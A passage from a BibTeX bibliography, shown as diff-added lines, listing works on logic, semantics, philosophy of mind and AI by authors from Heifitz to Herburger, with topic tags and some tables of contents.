{95--107}, + address = {San Francisco}, + topic = {epistemic-logic;infinitary-logic;} + } + +@inproceedings{ heifitz-mongin:1998a, + author = {Aviad Heifitz and Philippe Mongin}, + title = {The Modal Logic of Probability (Extended Abstract)}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Seventh Conference ({TARK} 1998)}, + year = {1998}, + editor = {Itzhak Gilboa}, + pages = {175--185}, + publisher = {Morgan Kaufmann}, + address = {San Francisco, California}, + topic = {probability-semantics;modal-logic;} + } + +@article{ heifitz:1999a, + author = {Aviad Heifitz}, + title = {Iterative and Fixed Point Common Belief}, + journal = {Journal of Philosophical Logic}, + year = {1999}, + volume = {28}, + number = {1}, + pages = {61--97}, + topic = {mutual-belief;infinitary-logic;} + } + +@article{ heil:1993a, + author = {John Heil}, + title = {Review of {\it The Metaphysics of Consciousness}, + by {W}illiam {S}eager}, + journal = {The Philosophical Review}, + year = {1993}, + volume = {102}, + number = {4}, + pages = {612--614}, + xref = {Review of seager:1991a.}, + topic = {consciousness;philosophy-of-mind;} + } + +@book{ heil-mele:1993a, + editor = {John Heil and Alfred R. Mele}, + title = {Mental Causation}, + publisher = {Oxford University Press}, + year = {1993}, + address = {Oxford}, + contentnote = {TC: + 1. Donald Davidson, "Thinking Causes", pp. 3--17 + 2. Jaegwon Kim, "Can Supervenience and `Non-Strict Laws' + Save Anomalous Monism?", pp. 19--26 + 3. Brian P. McLaughlin, "On {D}avidson's Response to the + Charge of Epiphenomenalism", pp. 27--40 + 4. Ernest Sosa, "{D}avidson's Thinking Causes", pp. 41--50 + 5. Robert Audi, "Mental Causation: Sustaining and Dynamic", + pp. 53--74 + 6. Lunne Rudder Baker, "Metaphysics and Mental Causation", + pp. 75--95 + 7. Tyler Burge, "Mind-Body Causation and Explanatory Practice", + pp. 97--120 + 8. Fred Dretske, "Mental Events as Structuring Causes of + Behaviour", pp. 131--136 + 9. Ted Honderich, "The Union Theory and Anti-Individualism", + pp. 137--159 + 10. Jennifer Hornsby, "Agency and Causal Explanation", pp. + 161--188 + 11. Jaegwon Kim, "The Non-Reductivist's Troubles with Mental + Causation", pp. 189--210 + 12. Ruth Garrett Millikan, "Explanation in Biopsychology", pp. + pp. 211--232 + 13. Robert van Gulick, "Who's in Charge Here? And Who's + Doing All the Work?", pp. 233--256 + 14. Frank Jackson and Phillip Pettit, "Some Content is + Narrow", pp. 259--282 + 15. H.W. Noonan, "Object-Dependent Thoughts: A Case + of Superficial Necessity but Deep Contingency?", + pp. 283--308 + 16. Ernest Sosa, "Abilities, Concepts, and Externalism", + pp. 309--328 + } , + topic = {mind-body-problem;causality;philosophy-of-action;} + } + +@book{ heilbroner-thurow:1975a, + author = {Robert L. Heilbroner and Lester C. Thurow}, + edition = {3}, + title = {Understanding Microeconomics}, + publisher = {Englewood Cliffs, N.J. : Prentice-Hall, [}, + year = {1975}, + address = {Englewood}, + ISBN = {0139364358.0139364277}, + topic = {microenomics;economics-intro;} + } + +@book{ heilbroner-thurow:1987a, + author = {Robert L. Heilbroner and Lester C. Thurow}, + title = {Economics Explained}, + publisher = {Simon and Schuster}, + year = {1987}, + address = {New York}, + ISBN = {0671645560 (pbk.)}, + topic = {economics-intro;} + } + +@incollection{ heim_i:1979a, + author = {Irene Heim}, + title = {Concealed Questions}, + booktitle = {Semantics from Different Points of View}, + year = {1979}, + editor = {Rainer B\"auerle and Urs Egli and Arnim {von Stechow}}, + publisher = {Springer-Verlag}, + address = {Berlin}, + pages = {51--60}, + contentnote = {The d.o. in `John knows Bill's telephone number' + is a concealed question.}, + topic = {interrogatives;nl-semantics;knowing-who;} + } + +@phdthesis{ heim_i:1982a, + author = {Irene Heim}, + title = {The Semantics of Definite and Indefinite Noun Phrases}, + school = {Linguistics Department, University of Massachusetts}, + year = {1982}, + address = {Amherst, Massachusetts}, + topic = {nl-semantics;discourse;definiteness;file-change-semantics; + donkey-anaphora;pragmatics;} + } + +@inproceedings{ heim_i:1983a, + author = {Irene Heim}, + title = {On the Projection Problem for Presuppositions}, + booktitle = {Proceedings, Second {W}est {C}oast {C}onference on {F}ormal + {L}inguistics}, + year = {1983}, + editor = {Michael Barlow and Daniel P. Flickinger and Michael T. + Wescoat}, + pages = {114--125}, + publisher = {Stanford Linguistics Association}, + address = {Stanford, California}, + topic = {presupposition;pragmatics;} + } + +@incollection{ heim_i:1983b, + author = {Irene Heim}, + title = {File Change Semantics and the Familiarity Theory of + Definiteness}, + booktitle = {Meaning, Use, and Interpretation of Language}, + publisher = {Walter de Gruyter}, + year = {1983}, + editor = {Rainer B\"auerle and Christoph Schwarze and Arnim von + Stechow}, + pages = {164--189}, + address = {Berlin}, + topic = {definiteness;file-change-semantics;dynamic-semantics; + donkey-anaphora;} + } + +@phdthesis{ heim_i:1986a, + author = {Irene Heim}, + title = {The Semantics of Definite and Indefinite Noun Phrases}, + school = {Linguistics Department, University of Massachusetts}, + year = {1986}, + type = {Ph.{D}. Dissertation}, + address = {Amherst, Massachusetts}, + topic = {nl-semantics;anaphora;indefiniteness;definiteness; + dynamic-semantics;} + } + +@incollection{ heim_i:1987a, + author = {Irene Heim}, + title = {Where Does the Definiteness Restriction Apply? + {E}vidence from the Definiteness of Variables.}, + booktitle = {The Representation of (In)definites}, + publisher = {The {MIT} Press}, + year = {1987}, + editor = {Eric Reuland and Alice {ter Meulen}}, + pages = {21--42}, + address = {Cambridge, Massachusetts}, + topic = {nl-semantics;(in)definiteness;} + } + +@article{ heim_i:1990a, + author = {Irene Heim}, + title = {E-Type Pronouns and Definite Anaphora}, + journal = {Linguistics and Philosophy}, + year = {1990}, + volume = {13}, + number = {2}, + pages = {137--178}, + topic = {nl-semantics;nl-quantifiers;anaphora;uniqueness; + file-change-semantics;definiteness;donkey-anaphora;} + } + +@article{ heim_i:1992a, + author = {Irene Heim}, + title = {Presupposition Projection and the Semantics + of Attitude Verbs}, + journal = {Journal of Semantics}, + year = {1992}, + volume = {9}, + pages = {183--221}, + missinginfo = {number}, + topic = {presupposition;anaphora;propositional-attitudes;} + } + +@book{ heim_i-kratzer:1997a, + author = {Irene Heim and Angelika Kratzer}, + title = {Semantics in Generative Grammar}, + publisher = {Blackwell Publishers}, + year = {1997}, + address = {Oxford}, + topic = {nl-semantics;} + } + +@book{ heim_m:1993a, + author = {Michael Heim}, + title = {The Metaphysics of Virtual Reality}, + publisher = {Oxford University Press}, + year = {1993}, + address = {Oxford}, + ISBN = {0195081781 (paper)}, + topic = {virtual-reality;} + } + +@inproceedings{ heinamaki:1972a, + author = {Orvokki Hein\"am\"aki}, + title = {{\em Before}}, + booktitle = {Proceedings of the Eighth Regional Meeting of the + Chicago Linguistics Society}, + year = {1972}, + pages = {139--151}, + publisher = {Chicago Linguistics Society}, + editor = {Paul M. Peranteau and Judith N. Levi and Gloria C. Phares}, + address = {Chicago University, Chicago, Illinois}, + topic = {presupposition;pragmatics;} + } + +@book{ heine:1997a, + editor = {Bernd Heine}, + title = {Cognitive Foundations of Grammar}, + publisher = {Oxford University Press}, + year = {1997}, + address = {Oxford}, + ISBN = {0-19-510251-7 (hardback), 0-19-510252-5 (paperback)}, + topic = {foundations-of-cognitive-science;foundations-of-grammar;} + } + +@incollection{ heinemann:1998a, + author = {Bernhard Heinemann}, + title = {Topological Nexttime Logic}, + booktitle = {Advances in Modal Logic, Volume 1}, + publisher = {{CSLI} Publications}, + year = {1998}, + editor = {Marcus Kracht and Maarten de Rijke and Heinrich Wansing}, + pages = {99--113}, + address = {Stanford, California}, + topic = {modal-logic;tense-logic;} + } + +@incollection{ heinsohn:1991a, + author = {Jochen Heinsohn}, + title = {A Hybrid Approach to Modeling Uncertainty in Terminological + Logics}, + booktitle = {Symbolic and Quantitative Approaches for Uncertainty: + Proceedings of the {E}uropean Conference {ECSQAU}, Marseille, + France, October 1991}, + publisher = {Springer-Verlag}, + year = {1991}, + editor = {Rudolf Kruse and Pierre Siegel}, + pages = {198--205}, + address = {Berlin}, + topic = {taxonomic-logics;reasoning-about-uncertainty;} + } + +@inproceedings{ heinsohn-etal:1992a, + author = {Jochen Heinsohn and Daniel Kudenko and Bernhard Nebel + and Hans-J\"urgen Profitlich}, + title = {An Empirical Analysis of Terminological Representation + Systems}, + booktitle = {Proceedings of the Tenth National Conference on + Artificial Intelligence}, + year = {1992}, + editor = {Paul Rosenbloom and Peter Szolovits}, + pages = {767--773}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + xref = {Journal Publication: heinsohn-etal:1994a.}, + topic = {kr;experimental-testing-of-kr-systems;taxonomic-logics; + AI-system-evaluation;kr-course;} + } + +@article{ heinsohn-etal:1994a, + author = {Jochen Heinsohn and Daniel Kudenko and Bernhard Nebel and + Hans-J\"urgen Profitlich}, + title = {An Empirical Analysis of Terminological Representation + Systems}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {68}, + number = {2}, + pages = {367--397}, + acontentnote = {Abstract: + The family of terminological representation systems has its + roots in the representation system KL-ONE. Since the development + of KL-ONE more than a dozen similar representation systems have + been developed by various research groups. These systems vary + along a number of dimensions. In this paper, we present the + results of an empirical analysis of six such systems. + Surprisingly, the systems turned out to be quite diverse, + leading to problems when transporting knowledge bases from one + system to another. Additionally, the runtime performance of + different systems and knowledge bases varied more than we + expected. Finally, our empirical runtime performance results + give an idea of what runtime performance to expect from such + representation systems. These findings complement previously + reported analytical results about the computational complexity + of reasoning in such systems. + } , + topic = {kr;experimental-testing-of-kr-systems;taxonomic-logics; + AI-system-evaluation;kr-course;} + } + +@article{ heinze-etal:2001a, + author = {Daniel F. Heinze and Mark Morsch and Ronald Sheffer and + Michelle Jimmink and Mark Jennings}, + title = {{LifeCode}: A Deployed Application for Medical Coding}, + journal = {The {AI} Magazine}, + year = {2000}, + volume = {22}, + number = {2}, + pages = {76--88}, + topic = {medical-AI;nl-processing;} + } + +@book{ helander-etal:1997a, + editor = {Martin G. Helander and Thomas K. Landauer and Prasad V. + Prabhu}, + title = {Handbook of Human-Computer Interaction}, + publisher = {Elsevier}, + edition = {2}, + year = {1997}, + address = {Amsterdam}, + ISBN = {0444818626 (hardbound)}, + topic = {HCI;} + } + +@article{ held:1970a, + author = {Virginia Held}, + title = {Can a Random Collection of Individuals + Be Morally Responsible?}, + journal = {Journal of Philosophy}, + volume = {67}, + year = {1970}, + pages = {471--481}, + topic = {blameworthiness;} + } + +@incollection{ helft:1989a, + author = {Nicolas Helft}, + title = {Induction as Nonmonotonic Inference}, + booktitle = {{KR}'89: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1989}, + editor = {Ronald J. Brachman and Hector J. Levesque and Raymond Reiter}, + pages = {149--156}, + address = {San Mateo, California}, + topic = {kr;kr-course;induction;nonmonotonic-reasoning;} + } + +@incollection{ hella-luosto:1995a, + author = {Lauri Hella and Kerkko Luosto}, + title = {Finite Generation Problem and $n$-ary Quanfifiers}, + booktitle = {Quantifiers: Logic, Models, and Computation, Vol. 1}, + publisher = {Kluwer Academic Publishers}, + year = {1995}, + editor = {Micha{\l} Krynicki and Marcin Mostowski and Les{\l}aw W. + Szczerba}, + pages = {63--104}, + address = {Dordrecht}, + topic = {generalized-quantifiers;} + } + +@article{ hella-etal:1997a, + author = {Lauri Hella and Jouko V\"a\"an\"anen and Dag Westerst\"ahl}, + title = {Definability of Polyadic Lifts of Generalized Quantifiers}, + journal = {Journal of Logic, Language, and Information}, + year = {1997}, + volume = {6}, + number = {3}, + pages = {305--355}, + topic = {generalized-quantifiers;} + } + +@incollection{ hellendoorn-reinfrank:1991a, + author = {Hans Hellendoorn and Michael Reinfrank}, + title = {Fuzzy Control Research at {S}iemens Corporate {R\&D}}, + booktitle = {Symbolic and Quantitative Approaches for Uncertainty: + Proceedings of the {E}uropean Conference {ECSQAU}, Marseille, + France, October 1991}, + publisher = {Springer-Verlag}, + year = {1991}, + editor = {Rudolf Kruse and Pierre Siegel}, + pages = {206--210}, + address = {Berlin}, + topic = {fuzzy-logic;fuzzy-control;} + } + +@article{ heller:1998a, + author = {Mark Heller}, + title = {Property Counterparts in Ersatz Worlds}, + journal = {The Journal of Philosophy}, + year = {1998}, + volume = {95}, + number = {6}, + pages = {293--316}, + topic = {philosophy-of-possible-worlds;} + } + +@unpublished{ hellman_g:1981a, + author = {Geoffrey Hellman}, + title = {Stochastic {E}instein-Locality and the {B}ell Theorem}, + year = {1981}, + note = {Unpublished manuscript, Indiana University}, + topic = {foundations-of-quantum-mechanics;} + } + +@unpublished{ hellman_g:1981b, + author = {Geoffrey Hellman}, + title = {Types of Hidden-Variable Theories for Quantum + Mechanics and the Nonexistence Proofs}, + year = {1981}, + note = {Unpublished manuscript, Indiana University}, + topic = {foundations-of-quantum-mechanics;} + } + +@unpublished{ hellman_g:1981c, + author = {Geoffrey Hellman}, + title = {A Modal Derivation of {B}ell's Theorem}, + year = {1981}, + note = {Unpublished manuscript, Indiana University}, + topic = {quantum-logic;} + } + +@article{ hellman_g:1985a, + author = {Geoffrey Hellman}, + title = {Determination and Logical Truth}, + journal = {The Journal of Philosophy}, + year = {1985}, + volume = {82}, + number = {11}, + pages = {607--616}, + topic = {supervenience;} + } + +@book{ hellman_g:1989a, + author = {Geoffrey Hellman}, + title = {Mathematics Without Numbers: Towards a Modal-Structural + Interpretation}, + publisher = {Oxford University Press}, + year = {1989}, + address = {Oxford}, + topic = {philosophy-of-mathematics;} + } + +@article{ hellman_g:1990a, + author = {Geoffrey Hellman}, + title = {Towards a Modal-Structural Interpretation of Set Theory}, + journal = {Synth\'ese}, + year = {1990}, + volume = {84}, + number = {3}, + pages = {409--443}, + topic = {foundations-of-set-theory;modal-logic;} + } + +@article{ hellman_g:1993a, + author = {Geoffrey Hellman}, + title = {Gleason's Theorem is Not Constructively Provable}, + journal = {Journal of Philosophical Logic}, + year = {1993}, + volume = {22}, + number = {3}, + pages = {193--203}, + contentnote = {Gleason's theorem is important in QM, it says that + all probability measures over the projection lattice of + Hilbert space can be represented as density operators. + See billinge:1997a.}, + topic = {quantum-logic;foundations-of-quantum-mechanics; + constructive-mathematics;} + } + +@article{ hellman_g:1993b, + author = {Geoffrey Hellman}, + title = {Constructive Mathematics and Quantum Mechanics: Unbounded + Operators and the Spectral Theorem}, + journal = {Journal of Philosophical Logic}, + year = {1993}, + volume = {22}, + number = {3}, + pages = {221--248}, + xref = {Comment: bridges:1995a.}, + topic = {quantum-logic;} + } + +@article{ hellman_g:1997a, + author = {Geoffrey Hellman}, + title = {Quantum Mechanical Unbounded Operators and Constructive + Mathematics---A Rejoinder to {B}ridges}, + journal = {Journal of Philosophical Logic}, + year = {1997}, + volume = {26}, + number = {2}, + pages = {121--127}, + topic = {quantum-logic;foundations-of-quantum-mechanics; + constructive-mathematics;} + } + +@book{ helm:1994a, + author = {Paul Helm}, + title = {Belief Policies}, + publisher = {Cambridge University Press}, + year = {1994}, + address = {Cambridge, England}, + topic = {will-to-believe;} + } + +@article{ helm:2001a, + author = {Bennett W. Helm}, + title = {Emotions and Practical Reason}, + journal = {No\^us}, + year = {2001}, + volume = {35}, + number = {2}, + pages = {190--213}, + topic = {emotion;practical-reason;} + } + +@article{ helman:1977a, + author = {Glen Helman}, + title = {Completeness of the Normal Typed Fragment of the + $\lambda$-System {U}}, + journal = {Journal of Philosophical Logic}, + year = {1977}, + volume = {6}, + number = {1}, + pages = {33--46}, + topic = {higher-order-logic;relevance-logic;} + } + +@article{ helman:1983a, + author = {Glen Helman}, + title = {An Interpretation of Classical Proofs}, + journal = {Journal of Philosophical Logic}, + year = {1983}, + volume = {12}, + number = {1}, + pages = {39--71}, + topic = {proof-theory;semantics-of-proofs;} + } + +@article{ hempel:1939a1, + author = {Carl G. Hempel}, + title = {Vagueness and Logic}, + journal = {Philosophy of Science}, + year = {1939}, + volume = {6}, + number = {2}, + pages = {163--180}, + month = {April}, + xref = {Republication: hempel:1939a2}, + topic = {vagueness;} + } + +@incollection{ hempel:1939a2, + author = {Carl G. Hempel}, + title = {Vagueness and Logic}, + booktitle = {Vagueness: A Reader}, + publisher = {The {MIT} Press}, + year = {1997}, + editor = {Rosanna Keefe and Peter Smith}, + pages = {82--84}, + address = {Cambridge, Massachusetts}, + xref = {Republication of: hempel:1939a1}, + topic = {vagueness;} + } + +@article{ hempel:1945a, + author = {Carl G. Hempel}, + title = {On the Nature of Mathematical Truth}, + journal = {The American Mathematical Monthly}, + year = {1945}, + volume = {52}, + number = {10}, + pages = {543--556}, + topic = {philosophy-of-mathematics;} + } + +@article{ hempel:1948a, + author = {Carl G. Hempel}, + title = {The Covering Law Analysis of Scientific Explanation}, + journal = {Philosophy of Science}, + year = {1948}, + volume = {15}, + number = {2}, + pages = {135--146,157--157,172--174}, + topic = {explanation;philosophy-of-science;} + } + +@article{ hempel:1960a, + author = {Carl G. Hempel}, + title = {Inductive Inconsistencies}, + journal = {Synth\'ese}, + year = {1960}, + volume = {12}, + number = {4}, + pages = {439--469}, + topic = {induction;Hempel-paradox;} + } + +@article{ hempel:1962a, + author = {Carl G. Hempel}, + title = {Rational Action}, + journal = {Proceedings and Addresses of the American Philosophical + Association}, + year = {1962}, + volume = {35}, + pages = {5--23}, + topic = {practical-reasoning;rationality;} + } + +@book{ hempel:1965a, + author = {Carl G. Hempel}, + title = {Aspects of Scientific Explanation, and Other Essays in the + Philosophy of Science}, + publisher = {The Free Press}, + year = {1965}, + address = {New York}, + topic = {explanation;philosophy-of-science;} + } + +@incollection{ hendler:1992a, + author = {James A. Hendler}, + title = {Massively-Parallel Marker-Passing in Semantic Networks}, + booktitle = {Semantic Networks in Artificial Intelligence}, + publisher = {Pergamon Press}, + year = {1992}, + editor = {Fritz Lehmann}, + pages = {277--291}, + address = {Oxford}, + topic = {kr;semantic-networks;marker-passing;parallel-processing;} + } + +@inproceedings{ hendler-etal:1995a, + author = {James Hendler and Jaime Carbonell and Douglas Lenat and + Riichiro Mizoguchi and Paul Rosenbloom}, + title = {{VERY} Large Knowledge Bases---Architecture Versus + Engineering}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {2033--2036}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {large-kr-systems;kr;krcourse;} + } + +@incollection{ hendler:1996a, + author = {James Hendler}, + title = {Implementations and Research: Discussions at the Boundary + (Position Statement)}, + booktitle = {{KR}'96: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Luigia Carlucci Aiello and Jon Doyle and Stuart Shapiro}, + pages = {659--660}, + address = {San Francisco, California}, + topic = {kr;AI-implementations;kr-course;} + } + +@incollection{ hendler:2002a, + author = {Jim Hendler}, + title = {The Semantic Web: {KR}'s Worst Nightmare?}, + booktitle = {{KR2002}: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {2002}, + editor = {Dieter Fensel and Fausto Giunchiglia and Deborah + McGuinness and Mary-Anne Williams}, + pages = {630}, + address = {San Francisco, California}, + topic = {kr;AI-and-the-internet;} + } + +@techreport{ hendriks_h:1987a, + author = {Herman Hendriks}, + title = {Type Change in Semantics: The Scope of Quantification + and Coordination}, + institution = {Institute for Language, Logic and Information, University + of Amsterdam}, + number = {87--09}, + year = {1987}, + address = {Faculty of Mathematics and Computer Science, Roeterssraat 15, + 1018WB Amsterdam, Holland}, + topic = {Montague-grammar;polymorphism;nl-semantic-types;nl-quantifiers; + coordination;} + } + +@phdthesis{ hendriks_h:1993a, + author = {Herman Hendriks}, + title = {Studied Flexibility}, + school = {University of Amsterdam}, + year = {1993}, + type = {Ph.{D}. Dissertation}, + address = {Amsterdam}, + missinginfo = {department}, + topic = {nl-semantics;dynamic-logic;} + } + +@article{ hendriks_h:2001a, + author = {Herman Hendriks}, + title = {Compositionality and Model-Theoretic Interpretation}, + journal = {Journal of Logic, Language, and Information}, + year = {2001}, + volume = {10}, + number = {1}, + pages = {29--48}, + topic = {compositionality;nl-semantics;} + } + +@article{ hendriks_l:1999a, + author = {Lex Hendriks}, + title = {Review of {\em Effective Logic Computation}, + by {K}lause {T}ruemper}, + journal = {Journal of Logic, Language, and Information}, + year = {1999}, + volume = {8}, + number = {4}, + pages = {481--484}, + xref = {Review of truemper:1998a.}, + topic = {model-construction;} + } + +@article{ hendriks_p-hoop:2001a, + author = {Petra Hendriks and Helen de Hoop}, + title = {Optimality Theoretic Semantics}, + journal = {Linguistics and Philosophy}, + year = {2001}, + volume = {24}, + number = {1}, + pages = {1--32}, + topic = {nl-semantics;optimality-semantics;} + } + +@book{ hendriks_vf-etal:2000a, + editor = {Vincent F. Hendriks and Stig Arthur Pederson and Klaus + Frovin J{\o}rgenson}, + title = {Proof Theory: History and Philosophical Significance}, + publisher = {Kluwer Academic Publishers}, + year = {2000}, + address = {Dordrecht}, + xref = {Review: vanplato:2002a}, + topic = {proof-theory;} + } + +@article{ hendrix_gg:1973a, + author = {Gary G. Hendrix}, + title = {Modeling Simultaneous Actions and Continuous Processes}, + journal = {Artificial Intelligence}, + year = {1973}, + volume = {4}, + number = {3--4}, + pages = {145--180}, + topic = {concurrent-actions;reasoning-about-continuous-time; + continuous-change;} + } + +@incollection{ hendrix_gg:1978a, + author = {Gary G. Hendrix}, + title = {The Representation of Semantic Knowledge}, + booktitle = {Understanding Spoken Language}, + publisher = {North-Holland}, + year = {1978}, + editor = {Donald E. Walker}, + pages = {121--181}, + address = {Amsterdam}, + topic = {computational-semantics;} + } + +@incollection{ hendrix_gg:1978b, + author = {Gary G. Hendrix}, + title = {The Model of the Ship-Information Domain}, + booktitle = {Understanding Spoken Language}, + publisher = {North-Holland}, + year = {1978}, + editor = {Donald E. Walker}, + pages = {183--191}, + address = {Amsterdam}, + topic = {computational-ontology;speech-recognition;} + } + +@incollection{ hendrix_gg:1978c, + author = {Gary G. Hendrix}, + title = {Semantic Aspects of Translation}, + booktitle = {Understanding Spoken Language}, + publisher = {North-Holland}, + year = {1978}, + editor = {Donald E. Walker}, + pages = {193--226}, + address = {Amsterdam}, + topic = {computational-semantics;speech-recognition;} + } + +@incollection{ hendrix_gg:1978d, + author = {Gary G. Hendrix}, + title = {Determining an Appropriate Response}, + booktitle = {Understanding Spoken Language}, + publisher = {North-Holland}, + year = {1978}, + editor = {Donald E. Walker}, + pages = {347--353}, + address = {Amsterdam}, + topic = {computational-dialogue;discourse-reasoning;nl-generation;} + } + +@incollection{ hendrix_gg-etal:1994a, + author = {Gary G. Hendrix and Earl D. Sacerdoti and Daniel + Sagalowicz and Jonathan Slocum}, + title = {Developing a Natural Language Interface to + Complex Data}, + booktitle = {Current Issues in Computational Linguistics: Essays in + Honour of {D}on {W}alker}, + publisher = {Giardini Editori e Stampatori and Kluwer Academic + Publishers}, + year = {1994}, + editor = {Antonio Zampolli and Nicoletta Calzolari and Martha Palmer}, + pages = {59--107}, + address = {Pisa and Dordrecht}, + topic = {nl-interfaces;} + } + +@article{ henkin:1949a, + author = {Leon Henkin}, + title = {The Completeness of the First-Order Functional Calculus}, + journal = {Journal of Symbolic Logic}, + year = {1949}, + volume = {14}, + pages = {159--166}, + missinginfo = {number.}, + topic = {logic-classic;} + } + +@article{ henkin:1950a, + author = {Leon Henkin}, + title = {Completeness in the Theory of Types}, + journal = {Journal of Symbolic logic}, + year = {1950}, + volume = {15}, + pages = {81--91}, + missinginfo = {number.}, + topic = {higher-order-logic;} + } + +@article{ henkin:1954a, + author = {Leon Henkin}, + title = {A Generalization of the Concept of $\omega$-Consistency}, + journal = {The Journal of Symbolic Logic}, + year = {1954}, + volume = {19}, + number = {3}, + pages = {183--196}, + xref = {Review: JSL 23, p. 40.}, + topic = {omega-consistency|completeness;} + } + +@article{ henkin:1957a, + author = {Leon Henkin}, + title = {A Generalization of the Concept of $\omega$-Completeness}, + journal = {The Journal of Symbolic Logic}, + year = {1957}, + volume = {22}, + number = {4}, + pages = {1--14}, + topic = {omega-consistency|completeness;} + } + +@article{ henkin:1963a, + author = {Leon Henkin}, + title = {A Theory of Propositional Types}, + journal = {Fundamenta Mathematicae}, + year = {1963}, + volume = {52}, + pages = {323--350}, + missinginfo = {number}, + topic = {propositional-quantifiers;} + } + +@article{ henkin:1996a, + author = {Leon Henkin}, + title = {The Discovery of My Completeness Proofs}, + journal = {Bulletin of Symbolic Logic}, + year = {1996}, + volume = {2}, + number = {2}, + pages = {127--158}, + topic = {completeness-theorems;} + } + +@book{ henle-etal:1951a, + editor = {Paul Henle and Horace M. Kallen and Susanne K. Langer}, + title = {Structure, Method, and Meaning: Essays in Honor of + {H}enry M. {S}cheffer}, + publisher = {Liberal Arts Press}, + year = {1951}, + address = {New York}, + topic = {analytic-philosophy;logic;} + } + +@article{ henle:1961a, + author = {Paul Henle}, + title = {On the Second Ontological Argument}, + journal = {The Philosophical Review}, + year = {1961}, + volume = {70}, + number = {1}, + pages = {85--109}, + topic = {ontological-argument;(non)existence;} + } + +@incollection{ henninger-etal:2001a, + author = {Amy E. Henninger and Avelino J.Gonzalez and Michael + Georgiopoulos and Michael De{M}aro}, + title = {A Connectionist-Symbolic Approach to Modeling Agent + Behavior: Neural Networks Grouped by Contexts}, + booktitle = {Modeling and Using Context}, + publisher = {Springer-Verlag}, + year = {2001}, + editor = {Varol Akman and Paolo Bouquet and Richmond Thomason + and Roger A. Young}, + pages = {198--209}, + address = {Berlin}, + topic = {context;connectionist-models;} + } + +@incollection{ henrion:1990a, + author = {Max Henrion}, + title = {An Introduction to Algorithms for Inference in Belief Nets}, + booktitle = {Uncertainty in Artificial Intelligence 5}, + year = {1990}, + pages = {129--138}, + publisher = {Elsevier Science Publishers B.V.}, + address = {North Holland}, + editor = {M. Henrion and R.D. Shachter and L.N. Kanal and J.F. Lemmer}, + topic = {probabilistic-reasoning;Bayesian-networks;} +} + +@incollection{ henrion:1990b, + author = {Max Henrion}, + title = {Toward Efficient Probabilistic Diagnosis in Multiply + Connected Belief Networks}, + booktitle = {Influence Diagrams, Belief Nets, and Decision Analysis}, + publisher = {John Wiley and Sons, Inc.}, + year = {1990}, + editor = {R.M. Oliver and J.Q. Smith}, + pages = {285--410}, + address = {New York}, + missinginfo = {E's 1st name.}, + topic = {Bayesian-networks;probabilistic-reasoning;} + } + +@book{ henrion-etal:1990a, + editor = {Max Henrion and Ross D. Shachter and L.N. Kanal and J.F. + Lemmer}, + title = {Uncertainty in Artificial Intelligence}, + publisher = {Elsevier}, + year = {1990}, + volume = {5}, + address = {Amsterdam}, + ISBN = {0444887393}, + missinginfo = {E's 1st name.}, + topic = {uncertainty-in-AI;reasoning-about-uncertainty;} + } + +@book{ henrion-etal:1991a, + editor = {Max Henrion and R.D. Shachter and L.N. Kanal + and J.F. Lemmer}, + title = {Uncertainty in Artificial Intelligence. Proceedings of the + Sixth Conference}, + publisher = {North-Holland}, + year = {1991}, + address = {Amsterdam}, + topic = {reasoning-about-uncertainty;} + } + +@book{ henry:1998a, + author = {Philip R. Henry}, + title = {Belief Reports and the Structure of Believing}, + publisher = {CSLI Publications}, + year = {1998}, + address = {Stanford}, + topic = {belief;} + } + +@article{ henson:1972a, + author = {C. Henson}, + title = {On Nonstandard Representation of Measures}, + journal = {Transactions of the American Mathematical Society}, + year = {1972}, + volume = {172}, + pages = {437--436}, + missinginfo = {A's 1st name}, + topic = {nonstandard-probability;} + } + +@book{ heny:1981a, + editor = {Frank Heny}, + title = {Binding and Filtering}, + publisher = {Croom Helm}, + year = {1981}, + address = {London}, + contentnote = {TC: + 1. Frank Heny, "Introduction" + 2. Noam Chomsky, "On binding" + 3. Leland M. George and Jaklin Kornfilt, "Finiteness and + Boundedness in Turkish" + 4. Luigi Rizzi, "Nominative marking in Italian infinitives and + the nominative island constraint" + 5. Eric J. Reuland, "Empty subjects, case and agreement and the + grammar of Dutch" + 6. Richard S. Kayne, "Binding, quantifiers, clitics and control" + 7. Stephen Harlow, "Government and relativisation in Celtic" + 8. Joan Maling and Annie Zaenen, "Germanic word order and the + format of surface filters" + 9. Pieter Muysken, "Quecha word structure" + } , + ISBN = {0709903863}, + topic = {government-binding-theory;} +} + +@article{ heny:1982a, + author = {Frank Heny}, + title = {Tense, Aspect and Time Adverbials, {II}}, + journal = {Linguistics and Philosophy}, + year = {1982}, + volume = {5}, + number = {1}, + pages = {109--154}, + topic = {nl-tense;nl-semantics;temporal-adverbials;} + } + +@inproceedings{ hepple:1997a, + author = {Mark Hepple}, + title = {Maximal Incrementality in Linear Categorial Deduction}, + booktitle = {Proceedings of the Thirty-Fifth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and Eighth + Conference of the {E}uropean Chapter of the {A}ssociation + for {C}omputational {L}inguistics}, + year = {1997}, + editor = {Philip R. Cohen and Wolfgang Wahlster}, + pages = {344--359}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {categorial-grammar;} + } + +@article{ herbert-karusch:1977a, + author = {Nick Herbert and Jack Karusch}, + title = {Generalization of {B}ell's Theorem}, + journal = {Foundations of Physics}, + year = {1977}, + volume = {8}, + number = {3/4}, + pages = {313--317}, + missinginfo = {number}, + topic = {foundations-of-quantum-mechanics;} + } + +@inproceedings{ herburger:1993a, + author = {Elena Herburger}, + title = {Focus and the {LF} of {NP} Quantification}, + booktitle = {Proceedings from Semantics and Linguistic Theory + {III}}, + year = {1993}, + editor = {Utpal Lahiri and Zachary Wyner}, + pages = {77--96}, + publisher = {Cornell University}, + address = {Ithaca, New York}, + note = {Available from CLC Publications, Department of Linguistics, + Morrill Hall, Cornell University, Ithaca, NY 14853-4701.}, + topic = {sentence-focus;nl-quantification;} + } + +@article{ herburger:1997a, + author = {Elena 